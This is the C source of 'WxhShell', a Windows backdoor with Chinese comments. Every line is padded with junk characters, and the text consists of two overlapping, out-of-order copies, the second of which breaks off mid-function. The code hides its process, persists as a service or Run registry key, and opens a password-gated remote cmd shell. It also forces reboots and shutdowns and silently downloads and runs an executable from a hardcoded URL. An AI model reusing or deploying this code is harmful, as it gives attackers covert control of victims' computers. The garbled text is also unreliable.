    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7}NvO"u  
    if(Boot(SHUTDOWN)) S@[NKY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >mtwXmI  
    else { Zqf ovG  
    closesocket(wsh); ^r<l#D,  
    ExitThread(0); &hZ.K"@7{  
    } mz x$(u  
    break; mYfHBW:  
    } OW6dK #CFt  
  // 获取shell Y_C6*T%  
  case 's': { ^N^s|c'  
    CmdShell(wsh); s(Wys^[g  
    closesocket(wsh); -|u yJh  
    ExitThread(0); nm_taER  
    break; /?j kVy*"  
  } yzl}!& E  
  // 退出 )b%zYD9p  
  case 'x': { mQt0?c _  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PB*G#2W  
    CloseIt(wsh); toU<InN  
    break; EqBTN07dZS  
    } YnU*MC}  
  // 离开 *T}c{/  
  case 'q': { 6)ysiAH?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w87$p821  
    closesocket(wsh); H}&JrT95  
    WSACleanup(); Mcz;`h|EW  
    exit(1); cb|hIn\>7  
    break; 1:yil9.\*  
        } I\-M`^@  
  } (i\{hq/  
  } OrL4G `O  
`|&0j4(Pg  
  // 提示信息 YIIc@ )  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v=dK2FaY  
} cM,g, E}  
  } zFDtC-GF  
u^i3@JuX  
  return; a*&&6Fo  
} tCRsaDK>  
A"qDc  
// shell模块句柄 Z<=L  
int CmdShell(SOCKET sock) ugj I$u  
{ 2[1t )EW  
STARTUPINFO si; ] X)~D!mA  
ZeroMemory(&si,sizeof(si)); u^Ktz DmL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WAtv4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3A =\Mb  
PROCESS_INFORMATION ProcessInfo; {wk#n.c  
char cmdline[]="cmd"; owyQFk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lqO>Q1_{K  
  return 0; A@Zqh<,Ud  
} M+j*5wNy  
8N |K   
// 自身启动模式 GpO*As_2  
int StartFromService(void) |#BN!kc  
{ ^xScVOdP  
typedef struct L&=r-\.ev  
{ u(hJyo}  
  DWORD ExitStatus; 1`s^r+11:  
  DWORD PebBaseAddress; GjN6Af~}  
  DWORD AffinityMask; 92C; a5s  
  DWORD BasePriority; 7hLh}  
  ULONG UniqueProcessId; >o3R~ [  
  ULONG InheritedFromUniqueProcessId; 4MzPm~Ct  
}   PROCESS_BASIC_INFORMATION; }}rp/16  
j0Cj&x%qF}  
PROCNTQSIP NtQueryInformationProcess; zN)).a  
Ek_<2!%X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '-XO;{,-R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C CLc,r>)  
f `}/^*D  
  HANDLE             hProcess; U KTfLh  
  PROCESS_BASIC_INFORMATION pbi; %2B1E( r%M  
/2*Bd E[yG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |TQ4:P1T  
  if(NULL == hInst ) return 0; cf ^i!X0  
U 9Ea }aN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M ' %zA;Wl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $Xu/P5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `PI*\t0  
O'@[ f{  
  if (!NtQueryInformationProcess) return 0; mC-wPi8  
@Cx goX^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s +qodb+  
  if(!hProcess) return 0; 0r i  
!)`*e>]x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yc`3)  
(c"!&&S^ =  
  CloseHandle(hProcess); q \fyp\z  
=[Z3]#h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G;[O~N3n.  
if(hProcess==NULL) return 0; ~6O~Fth  
R[* n3 wB  
HMODULE hMod; !g)rp`?  
char procName[255]; , )TnIByM  
unsigned long cbNeeded; h qhX  
2 J3/Eu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i]4nYYS  
~J5B?@2hK  
  CloseHandle(hProcess); H;q[$EUNb  
]n"U])pJd  
if(strstr(procName,"services")) return 1; // 以服务启动 ( *K)D$y  
b5KK0Jjk  
  return 0; // 注册表启动 to1r 88X  
} *WFd[cKE  
Lp4F1H2t-  
// 主模块 lOe|]pQ.,  
int StartWxhshell(LPSTR lpCmdLine) P*U^,Jh<  
{ IGly x'\_  
  SOCKET wsl; Y" rODk1  
BOOL val=TRUE; jT F "  
  int port=0; o Q*LP{M  
  struct sockaddr_in door; tGbx/$Y   
voTP,R[}85  
  if(wscfg.ws_autoins) Install(); [f[Wz{Q#Y  
M"qS#*{  
port=atoi(lpCmdLine); iTT%_-X-  
%""h:1/S  
if(port<=0) port=wscfg.ws_port; OjG`s-91&  
}*C  
  WSADATA data; vM$hCV ~N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >,_0Mem2Rr  
8$Zwk7 w8A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F?cwIE\J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rh$+9w  
  door.sin_family = AF_INET; wf\7sz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p&)d]oV>  
  door.sin_port = htons(port); kd]CV7(7  
PDz:x4A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UlNV%34"  
closesocket(wsl); m I:^lp  
return 1; R7!v=X]i  
} ?2\oi*$  
Qgv g*KX  
  if(listen(wsl,2) == INVALID_SOCKET) { z}7}D !  
closesocket(wsl); hn/yX|4c(  
return 1; &@BAVc z  
} Ai^0{kF6  
  Wxhshell(wsl); JL{fW>5y|  
  WSACleanup(); <r>Sj /w<D  
WiQVZ {  
return 0; o1*P|.`  
3p?nQ O)L  
} C+%eT&OO  
fOdqr  
// 以NT服务方式启动 }QQ 7jE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `R7dn/  
{ X?&{< vz  
DWORD   status = 0; h;y}g/HZ  
  DWORD   specificError = 0xfffffff; Qe4 % A  
X%N!gy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PBFpV8P,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s1#A0%gx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6X?:mn'%QF  
  serviceStatus.dwWin32ExitCode     = 0; ![fNlG!r  
  serviceStatus.dwServiceSpecificExitCode = 0; #Ak|p#7 ^  
  serviceStatus.dwCheckPoint       = 0; 1wd c4>  
  serviceStatus.dwWaitHint       = 0; ~Eb:AC5  
qdmAkYUC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :*DWL!a  
  if (hServiceStatusHandle==0) return; FZZO-,xa  
~3Zz.!F  
status = GetLastError(); nD]Mg T  
  if (status!=NO_ERROR) y65lbl%Z n  
{ h+&iWb3;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;cPPx`0$9  
    serviceStatus.dwCheckPoint       = 0; Y|J=72!]  
    serviceStatus.dwWaitHint       = 0; V8&'dhuG  
    serviceStatus.dwWin32ExitCode     = status; Qb55q`'z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~{-Ka>A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ])%UZM6  
    return; >}2 ,2  
  } /lPnf7  
=PNkzFUo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l?V#;  
  serviceStatus.dwCheckPoint       = 0; #b:YY^{g_  
  serviceStatus.dwWaitHint       = 0; gu~R4 @3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B.;@i;7L  
} 3^-R_  
~gOZ\jm}  
// 处理NT服务事件,比如:启动、停止 >H5t,FfQL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ocMTTVo  
{ v0=v1G*rvJ  
switch(fdwControl) c#1kg@q@  
{ ~RwoktO  
case SERVICE_CONTROL_STOP: suW|hh1/Ya  
  serviceStatus.dwWin32ExitCode = 0; :F#^Q%-IS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7#oq|5  
  serviceStatus.dwCheckPoint   = 0; V[]Pya|s+  
  serviceStatus.dwWaitHint     = 0; 8O60pB;4  
  { 8bs'Ek{'o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kumo%TXB&  
  } *PB/I4>{  
  return; BS,EW  
case SERVICE_CONTROL_PAUSE: &5bIM>)v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @Bjp7v :w  
  break; 0=t2|,}  
case SERVICE_CONTROL_CONTINUE: .J&89I]U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S'w}Ir  
  break; Y  9z*xS  
case SERVICE_CONTROL_INTERROGATE: 05\0g9  
  break; .a(G=fk  
}; }$qrNbLJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q #7Nk)<.  
} f\Hw Y)^>  
:A:7^jrhi  
// 标准应用程序主函数 ,O:p`"3`0=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1ah,Zth2  
{ @ ,;h!vB*=  
m|x_++3  
// 获取操作系统版本 :hW(2=%  
OsIsNt=GetOsVer(); {Oq8A.daJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ruq>+ }4  
MU2kA&LH  
  // 从命令行安装 m .(\u?J  
  if(strpbrk(lpCmdLine,"iI")) Install(); L:mE)Xq2  
L;L_$hu)  
  // 下载执行文件 3O1Lv2)_  
if(wscfg.ws_downexe) { 2EN}"Du]mj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ui9;rh$1eU  
  WinExec(wscfg.ws_filenam,SW_HIDE); I.|b:c xN  
} ;L#RFdh  
B]}gfVO  
if(!OsIsNt) { &m[}%e%~0  
// 如果时win9x,隐藏进程并且设置为注册表启动 !g}@xwWax  
HideProc(); |O'*CCrCL  
StartWxhshell(lpCmdLine); M"{*))O\-c  
} tq@)J_7|  
else ;mz#$"(  
  if(StartFromService()) F2_'U' a  
  // 以服务方式启动 <exyd6iI  
  StartServiceCtrlDispatcher(DispatchTable); >SziRm>Y7  
else 9=/4}!.  
  // 普通方式启动 =OV5DmVmQ  
  StartWxhshell(lpCmdLine); cXf/  
\-{$IC-L  
return 0; 7bRfkKD  
} l,(:~KH|  
V>Xg\9B_  
k\*?<g  
n5BD0q  
=========================================== V=5*)i/  
CyHHV  
+/kOUz/]  
B B'qbX3xK  
_h,_HW)G  
3fXrwmBT8  
" c+T`X?.j  
Q8QB{*4  
#include <stdio.h> vdB2T2F  
#include <string.h> i^Jw`eAmT  
#include <windows.h> |r?0!;bN0  
#include <winsock2.h> P O0Od z  
#include <winsvc.h> m$(OQ,E  
#include <urlmon.h> Mw-L?j0o[k  
W?P4oKsql*  
#pragma comment (lib, "Ws2_32.lib") M.Tp)ig\#  
#pragma comment (lib, "urlmon.lib") DTo"{!  
w L>*WLfR  
#define MAX_USER   100 // 最大客户端连接数 #2:?N8vz*  
#define BUF_SOCK   200 // sock buffer Lp@Al#X55  
#define KEY_BUFF   255 // 输入 buffer !TY0;is  
(a-Lx2T  
#define REBOOT     0   // 重启 qp#Euq6  
#define SHUTDOWN   1   // 关机 V51kX{S  
AFvv+ ss  
#define DEF_PORT   5000 // 监听端口 5rCJIl.  
f? GoBh<  
#define REG_LEN     16   // 注册表键长度 $ve$Sq  
#define SVC_LEN     80   // NT服务名长度 i[FYR;C  
~]?EV?T  
// 从dll定义API KydAFxUb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \T<F#a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i;]# @n|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !Icznou\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Pw,3CbJ  
)dEcKH<#  
// wxhshell配置信息 J.U%W}Hx  
struct WSCFG { @icw:68  
  int ws_port;         // 监听端口 cq gCcO ,  
  char ws_passstr[REG_LEN]; // 口令 AGS(ud{  
  int ws_autoins;       // 安装标记, 1=yes 0=no B1E:P`t  
  char ws_regname[REG_LEN]; // 注册表键名 SAf)#HXa  
  char ws_svcname[REG_LEN]; // 服务名 /n>vPJvz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G973n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *14:^neoI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -O=xgvh"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T<Qa`|5 >  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v''J@F7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {YrA [9  
c'Ibgfx%m  
}; H]wP \m)  
`nEqw/I  
// default Wxhshell configuration f O+lD  
struct WSCFG wscfg={DEF_PORT, ?Ov~\[) F  
    "xuhuanlingzhe", T@#?{eA  
    1, 8 *{jxN'M  
    "Wxhshell", h <$%y(lP  
    "Wxhshell", N `fFYO  
            "WxhShell Service", 0L#i c61U  
    "Wrsky Windows CmdShell Service", i1KjQ1\a+  
    "Please Input Your Password: ", S# baOO  
  1, i`];xNR'  
  "http://www.wrsky.com/wxhshell.exe", O<,\ tZ'N  
  "Wxhshell.exe" @]2aPs} }6  
    }; w,R6:*p5  
F9% +7Op^  
// 消息定义模块 c{?SFwgd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; es%py~m)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S<'_{uz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q2woCx B  
char *msg_ws_ext="\n\rExit."; Lpkx$QZ  
char *msg_ws_end="\n\rQuit."; $XMpC{  
char *msg_ws_boot="\n\rReboot..."; l=Pw yJ  
char *msg_ws_poff="\n\rShutdown..."; ,2^A<IwR  
char *msg_ws_down="\n\rSave to "; JTBt=u{6^  
<}8G1<QZ'.  
char *msg_ws_err="\n\rErr!"; S0:Oep   
char *msg_ws_ok="\n\rOK!"; k&f/f  
]F>#0Rdc  
char ExeFile[MAX_PATH]; eK*oV}U-k  
int nUser = 0; K4]ZVMm/*  
HANDLE handles[MAX_USER]; `D=`xSEYl  
int OsIsNt; UhkL=+PD  
O#O"]A  
SERVICE_STATUS       serviceStatus; $ #GuV'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yuJ>xsM  
/0fsn_  
// 函数声明 ;E.f%   
int Install(void); n$7*L9)(C  
int Uninstall(void); e m)%U  
int DownloadFile(char *sURL, SOCKET wsh); )flm3G2u  
int Boot(int flag); \awkt!Wa  
void HideProc(void); -Q?c'e  
int GetOsVer(void); \QF0(*!!  
int Wxhshell(SOCKET wsl); D Y4!RjJ47  
void TalkWithClient(void *cs); Gx}`_[-  
int CmdShell(SOCKET sock); zOFHdd ,"g  
int StartFromService(void); n|DMj[uT  
int StartWxhshell(LPSTR lpCmdLine); T9]0/>  
x FM^-`7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GJ2ZK=/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qP##C&+#q  
J65:MaS  
// 数据结构和表定义 >b5 ;I1o=y  
SERVICE_TABLE_ENTRY DispatchTable[] = )uR_d=B&  
{ z\8s |!  
{wscfg.ws_svcname, NTServiceMain}, 8JF<SQ  
{NULL, NULL} >BK/HuS  
}; kw gLK@@%1  
`VUJW]wGu  
// 自我安装 2  @T~VRy  
int Install(void) #G`K<%{?f  
{ 5VQ-D`kE+  
  char svExeFile[MAX_PATH]; H8dS]N~[Y  
  HKEY key; :i0;jWc b  
  strcpy(svExeFile,ExeFile); 3^fwDt}  
}gt)cOaY  
// 如果是win9x系统,修改注册表设为自启动 g"m9[R=]6  
if(!OsIsNt) { &HAu;u@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d8+@K&z|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~jHuJ` ]DF  
  RegCloseKey(key); N81M9#,["~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "X;5* 4+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [uHC AP  
  RegCloseKey(key); 9rT^rTV  
  return 0; Buh}+n2]5  
    } `^'fS@VA  
  } *jPd=+d  
} wQd8/&mmk  
else { )s, t BU+N  
ST?Rl@4  
// 如果是NT以上系统,安装为系统服务 2cIKph  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ONDO xXs  
if (schSCManager!=0) G%>[7]H  
{ Wq5}LO)  
  SC_HANDLE schService = CreateService /^\E:(RH  
  ( +r;t]  
  schSCManager, tCGx]\  
  wscfg.ws_svcname, &k)v/  
  wscfg.ws_svcdisp, FPF$~ sX  
  SERVICE_ALL_ACCESS, M<NY`7$^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6<QC|>p  
  SERVICE_AUTO_START, t6mv  
  SERVICE_ERROR_NORMAL, pnz:<V"Y(  
  svExeFile, :FH&#Eq~4  
  NULL, rWDD$4y  
  NULL, w3sU&  |N  
  NULL, aBG^Xhx  
  NULL, *x]*%  
  NULL ~x<?Pj  
  ); \)o.Y zAo@  
  if (schService!=0) X/vyb^:U  
  { $\/^O94-l  
  CloseServiceHandle(schService); JN`$Fq+  
  CloseServiceHandle(schSCManager); HQ7g0:-^a>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A?}[rM Z  
  strcat(svExeFile,wscfg.ws_svcname); yTK3eK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i|AWaG)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hwL`9.w  
  RegCloseKey(key); i '*!c  
  return 0; n^hkH1vY  
    } ">3t+A  
  } 1i~q~ O,  
  CloseServiceHandle(schSCManager); Z}>F V~4  
} _(8#  
} !5?_)  
_Z9 d.-  
return 1; .s,04xW\  
} _xm<zy{`S  
}d>.Nj#zh  
// 自我卸载 QKq4kAaJ!  
int Uninstall(void) |%ZJN{!R  
{ wuYak"KX  
  HKEY key; &QW&K  
_6r[msH"  
if(!OsIsNt) { 9s[   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z~~pH9=c2  
  RegDeleteValue(key,wscfg.ws_regname); &p_iAMn:9  
  RegCloseKey(key); n^l*oEl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6m(? (6+;K  
  RegDeleteValue(key,wscfg.ws_regname); _,aFQ^]'9  
  RegCloseKey(key); P!IA;i  
  return 0; ob2_=hQnC  
  } 4u%AZ<-C}m  
} +75"Q:I  
} .[1 f$  
else { (GpP=lSSeY  
[M%? [E}>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &oHr]=xA  
if (schSCManager!=0) +>*=~R  
{ oQm XKV+[v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r nr-wUW@  
  if (schService!=0) \#Jq%nd  
  { -=gI_wLbM  
  if(DeleteService(schService)!=0) { %W7%]Z@j  
  CloseServiceHandle(schService); }[UH1+`L  
  CloseServiceHandle(schSCManager); pL;e(lM  
  return 0; ~?fl8RF\  
  } MD<x{7O12>  
  CloseServiceHandle(schService); nw`rH*  
  } YsVKdh  
  CloseServiceHandle(schSCManager); cNmAr8^}  
} quaRVD>s +  
} '<<@@.(f  
{^N,$,Ab.  
return 1; O#18a,o@  
} DeNWh2  
Fv %@k{  
// 从指定url下载文件 ?6&G:Uz/  
int DownloadFile(char *sURL, SOCKET wsh) KGo^>us  
{ 8,[ *BgeX  
  HRESULT hr; $b{8 $<;9  
char seps[]= "/"; JU5,\3Lz#  
char *token; <X4f2z{T{@  
char *file; H!X*29nX  
char myURL[MAX_PATH]; cl]W]^q-Cx  
char myFILE[MAX_PATH]; Te?PYV-  
&-Wt!X 3  
strcpy(myURL,sURL); 8N9,HNBT$  
  token=strtok(myURL,seps); lt:&lIW,3  
  while(token!=NULL) N}7b^0k  
  { 0n`Temb/  
    file=token; sH2xkUp  
  token=strtok(NULL,seps); XP%_|Q2X  
  } 7_qsVhh]$E  
.|07IH/Di{  
GetCurrentDirectory(MAX_PATH,myFILE); VWK/(>TP  
strcat(myFILE, "\\"); CL7 /J[TS  
strcat(myFILE, file); ;y@zvec4  
  send(wsh,myFILE,strlen(myFILE),0); kJOZ;X=9/  
send(wsh,"...",3,0); : fYfXm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }wv Rs5;o  
  if(hr==S_OK) Gsy>"T{CY  
return 0; |IzL4>m:;  
else ;R2A>f~  
return 1; h>[ qXz  
z(^dwMw}  
} -UzWLVB^  
L[*cbjt[  
// 系统电源模块 nXb_\ 9E  
int Boot(int flag) K8BlEF`  
{ ^ /%Y]d$  
  HANDLE hToken; W1 xPK*  
  TOKEN_PRIVILEGES tkp; y&8`NS#_p?  
-@#],s7  
  if(OsIsNt) { xy!E_CuC$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v< 2,OcH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V?x&\<;,  
    tkp.PrivilegeCount = 1; A&v Qtd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9IG<9uj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (0LA.aBIf  
if(flag==REBOOT) { md18q:AG)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B= E/|J</  
  return 0; 4Y1^ U{A+  
} Vb JE zl  
else { { 6qxg_{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S["r @<  
  return 0; ip{ b*@K  
} XfMUodV-OZ  
  } <'sm($.2  
  else { p= x &X~  
if(flag==REBOOT) { !J<0.nO/:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4[;}/-  
  return 0; b 1Wz  
} P~:^bU^F7  
else { T8&sPt,f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u R5h0Fi  
  return 0; Xg_l4!T_l  
} iY2q^z/S  
} w?nSQBz$  
w;AbJCv2  
return 1; G@jx&#v  
} |HY{Q1%  
30Qp:_D  
// win9x进程隐藏模块 55<!H-zt  
void HideProc(void) )*uotV  
{ ;WYz U`<g  
#sjGju"#_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $kmY[FWu?  
  if ( hKernel != NULL ) 4o@:+T:1  
  { 811QpYA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1?8M31  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T9r6,yY  
    FreeLibrary(hKernel); Y|hd!C-x  
  } ks%;_~b  
p^ROt'eQ<  
return; !~'D;Jh  
} oPbziB8  
w7pX]<?R"  
// 获取操作系统版本 edlf++r~  
int GetOsVer(void) J n2QvUAZ&  
{ a"g\f{v0AR  
  OSVERSIONINFO winfo; zn^ G V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rh ]XJM  
  GetVersionEx(&winfo); Qu8=zI>t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) if\`M'3Xx  
  return 1; ){,M v:#+T  
  else w}$;2g0=a<  
  return 0; FrLv%tK|  
} >z fx2wh\a  
A8S9HXL  
// 客户端句柄模块 3syA$0TZt  
int Wxhshell(SOCKET wsl) a;~< iB;3"  
{ /#eS3`48  
  SOCKET wsh; mOTA  
  struct sockaddr_in client; &P35\q   
  DWORD myID; yn(bW\  
}>621L3 -  
  while(nUser<MAX_USER) +N2ILE8[<  
{ g@/}SJh/>  
  int nSize=sizeof(client); TEj"G7]1$A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -*T0Cl.  
  if(wsh==INVALID_SOCKET) return 1; wzoT!-_X  
PX/^*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K~3Y8ca  
if(handles[nUser]==0) p g_H'0R  
  closesocket(wsh); ^AOJ^@H^>  
else B^R44j]3"  
  nUser++; (47la$CR  
  } jMS>B)'TO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ('dbMH\O  
r[7*1'. p  
  return 0; ,->5 sJ{U  
} #NL'r99D/o  
G6x'Myg I  
// 关闭 socket &l_}yf"v  
void CloseIt(SOCKET wsh) .~rg#*]^  
{ KV6D0~  
closesocket(wsh); 9}fez)m:g0  
nUser--; e6{E(=R[M  
ExitThread(0); H`q[!5~8  
} 1Id"|/b%$  
@"^7ASd%  
// 客户端请求句柄 JdWav!PYm  
void TalkWithClient(void *cs) eHd7fhW5  
{ -GB,g=Dk  
i;|I; 5tC  
  SOCKET wsh=(SOCKET)cs; D,=#SBJ:Z  
  char pwd[SVC_LEN]; UFj!7gX]  
  char cmd[KEY_BUFF]; D eT$4c*:[  
char chr[1]; ,TB$D]u8  
int i,j; M&9urOa`  
Vr %ef:uVV  
  while (nUser < MAX_USER) { 1B~Z1w  
cb{"1z  
if(wscfg.ws_passstr) { \,v+ejhw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<w vO 9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %AWc`D  
  //ZeroMemory(pwd,KEY_BUFF); @" umY-1f  
      i=0; ,69547#o  
  while(i<SVC_LEN) { Q+QD ,  
:LdPqFXj  
  // 设置超时 c"1Z,M;G  
  fd_set FdRead; x1E;dbOZ  
  struct timeval TimeOut; 0XqxW\8_l  
  FD_ZERO(&FdRead); gMPp'^g]_  
  FD_SET(wsh,&FdRead); Y Ztd IG  
  TimeOut.tv_sec=8; M&Ln'BC  
  TimeOut.tv_usec=0; n:1Ijh 1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e VQ-?DK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); inK;n  
tAY{+N]f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .EH1;/  
  pwd=chr[0]; I6@"y0I  
  if(chr[0]==0xd || chr[0]==0xa) { |~18MW  
  pwd=0; <Kl$ek8  
  break; zE/\2F$  
  } 8`]yp7ueS  
  i++; DpT$19Q+  
    } i*!2n1c[  
B/!/2x  
  // 如果是非法用户,关闭 socket )DlKeiK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fYh<S  
} N&Ho$,2s  
)t\aB_ =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rQU6*f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %9S0!h\  
5)hfI7{d  
while(1) { =]"I0G-s!  
"QiLu=Rq  
  ZeroMemory(cmd,KEY_BUFF); [9NrPm3d  
0 ?gHRdU"  
      // 自动支持客户端 telnet标准   L2~'Z'q  
  j=0; e :C4f  
  while(j<KEY_BUFF) { nf1 `)tXG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P$*Ngt  
  cmd[j]=chr[0]; Sw5-^2x0'  
  if(chr[0]==0xa || chr[0]==0xd) { B_b5&M@  
  cmd[j]=0; [8[<4~{  
  break; Y#=MN~##t  
  } T5.^ w  
  j++; >V]9<*c  
    } ,j.bdlI#  
jcBZ#|B7;  
  // 下载文件 3hUP>F8  
  if(strstr(cmd,"http://")) { V RD^>Gi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MHye!T6fO\  
  if(DownloadFile(cmd,wsh)) 2\gIjXX"  
